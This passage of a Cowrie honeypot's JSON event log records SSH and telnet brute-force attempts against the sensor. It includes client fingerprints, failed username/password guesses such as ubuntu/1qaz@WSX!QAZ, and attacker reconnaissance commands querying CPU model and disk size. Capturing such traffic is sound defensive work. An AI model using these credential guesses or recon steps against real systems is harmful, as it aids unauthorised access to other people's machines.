{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:22.377411Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:22.730187Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:22.734265Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53848,"dst_ip":"159.203.135.109","dst_port":23,"session":"a137e007f00a","protocol":"telnet","message":"New connection: 134.209.8.29:53848 (159.203.135.109:23) [session: a137e007f00a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:22.853598Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:22.904873Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:23.260628Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:23.264103Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:23.424577Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:23.429744Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53864,"dst_ip":"159.203.135.109","dst_port":23,"session":"0da17cd5fc4c","protocol":"telnet","message":"New connection: 134.209.8.29:53864 (159.203.135.109:23) [session: 0da17cd5fc4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:30.733206Z"}
{"eventid":"cowrie.session.closed","duration":54.63408660888672,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:31.347090Z","src_ip":"134.209.8.29","session":"68150e337543","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":41966,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf0f03ea4366","protocol":"telnet","message":"New connection: 194.233.64.34:41966 (159.203.135.109:23) [session: cf0f03ea4366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:31.696506Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44488,"dst_ip":"159.203.135.109","dst_port":23,"session":"019d3f61132a","protocol":"telnet","message":"New connection: 134.209.8.29:44488 (159.203.135.109:23) [session: 019d3f61132a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:36.184509Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":44182,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f2a170283f7","protocol":"ssh","message":"New connection: 148.216.28.11:44182 (10.17.0.5:22) [session: 8f2a170283f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:39.063108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:39.069904Z","src_ip":"148.216.28.11","session":"8f2a170283f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:39.139366Z","src_ip":"148.216.28.11","session":"8f2a170283f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"P@ssw0rd","message":"login attempt [botuser/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:39.438216Z","src_ip":"148.216.28.11","session":"8f2a170283f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:40.509384Z","src_ip":"148.216.28.11","session":"8f2a170283f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.254780292510986,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:42.517362Z","src_ip":"134.209.8.29","session":"6076f472b0d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":56096,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f868ba4f767","protocol":"ssh","message":"New connection: 34.135.200.178:56096 (10.17.0.5:22) [session: 0f868ba4f767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:49.793483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:49.799044Z","src_ip":"34.135.200.178","session":"0f868ba4f767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:49.835963Z","src_ip":"34.135.200.178","session":"0f868ba4f767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!QAZxsw2.","message":"login attempt [test/!QAZxsw2.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:50.012279Z","src_ip":"34.135.200.178","session":"0f868ba4f767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":55418,"dst_ip":"10.17.0.5","dst_port":22,"session":"6945005774fc","protocol":"ssh","message":"New connection: 147.50.231.135:55418 (10.17.0.5:22) [session: 6945005774fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:50.312807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:50.318029Z","src_ip":"147.50.231.135","session":"6945005774fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:50.578243Z","src_ip":"147.50.231.135","session":"6945005774fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:51.051665Z","src_ip":"34.135.200.178","session":"0f868ba4f767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"ts3server1","message":"login attempt [ts3server/ts3server1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:51.657671Z","src_ip":"147.50.231.135","session":"6945005774fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.37862300872803,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:52.466154Z","src_ip":"134.209.8.29","session":"9d6abc5ad19c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:52.923936Z","src_ip":"147.50.231.135","session":"6945005774fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39532,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5091725c33b","protocol":"telnet","message":"New connection: 134.209.8.29:39532 (159.203.135.109:23) [session: e5091725c33b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:58.669486Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":41094,"dst_ip":"159.203.135.109","dst_port":22,"session":"55637b26721d","protocol":"ssh","message":"New connection: 187.141.71.166:41094 (159.203.135.109:22) [session: 55637b26721d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:59.622447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:59.628745Z","src_ip":"187.141.71.166","session":"55637b26721d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:59.748775Z","src_ip":"187.141.71.166","session":"55637b26721d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"test","message":"login attempt [developer/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:00.258167Z","src_ip":"187.141.71.166","session":"55637b26721d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:01.385617Z","src_ip":"187.141.71.166","session":"55637b26721d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39542,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4150eff0a6a","protocol":"telnet","message":"New connection: 134.209.8.29:39542 (159.203.135.109:23) [session: b4150eff0a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:01.856722Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":33506,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5582d180028","protocol":"ssh","message":"New connection: 165.22.63.98:33506 (159.203.135.109:22) [session: b5582d180028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:02.144728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:02.155674Z","src_ip":"165.22.63.98","session":"b5582d180028","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:02.395221Z","src_ip":"165.22.63.98","session":"b5582d180028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.737380504608154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:02.433744Z","src_ip":"194.233.64.34","session":"cf0f03ea4366","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX!QAZ","message":"login attempt [ubuntu/1qaz@WSX!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:03.383680Z","src_ip":"165.22.63.98","session":"b5582d180028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:04.625829Z","src_ip":"165.22.63.98","session":"b5582d180028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52722,"dst_ip":"159.203.135.109","dst_port":23,"session":"311bf3444871","protocol":"telnet","message":"New connection: 134.209.8.29:52722 (159.203.135.109:23) [session: 311bf3444871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:04.899818Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":49362,"dst_ip":"10.17.0.5","dst_port":22,"session":"71f6a9df3bf9","protocol":"ssh","message":"New connection: 150.95.157.171:49362 (10.17.0.5:22) [session: 71f6a9df3bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:08.764484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:08.769832Z","src_ip":"150.95.157.171","session":"71f6a9df3bf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:08.923686Z","src_ip":"150.95.157.171","session":"71f6a9df3bf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123QWEqwe","message":"login attempt [ubuntu/123QWEqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:09.579281Z","src_ip":"150.95.157.171","session":"71f6a9df3bf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52724,"dst_ip":"159.203.135.109","dst_port":23,"session":"488270ddd372","protocol":"telnet","message":"New connection: 134.209.8.29:52724 (159.203.135.109:23) [session: 488270ddd372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:09.789139Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52736,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e57ca36bc36","protocol":"telnet","message":"New connection: 134.209.8.29:52736 (159.203.135.109:23) [session: 6e57ca36bc36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:10.374472Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:12:10.747235Z","src_ip":"150.95.157.171","session":"71f6a9df3bf9","protocol":"ssh"}
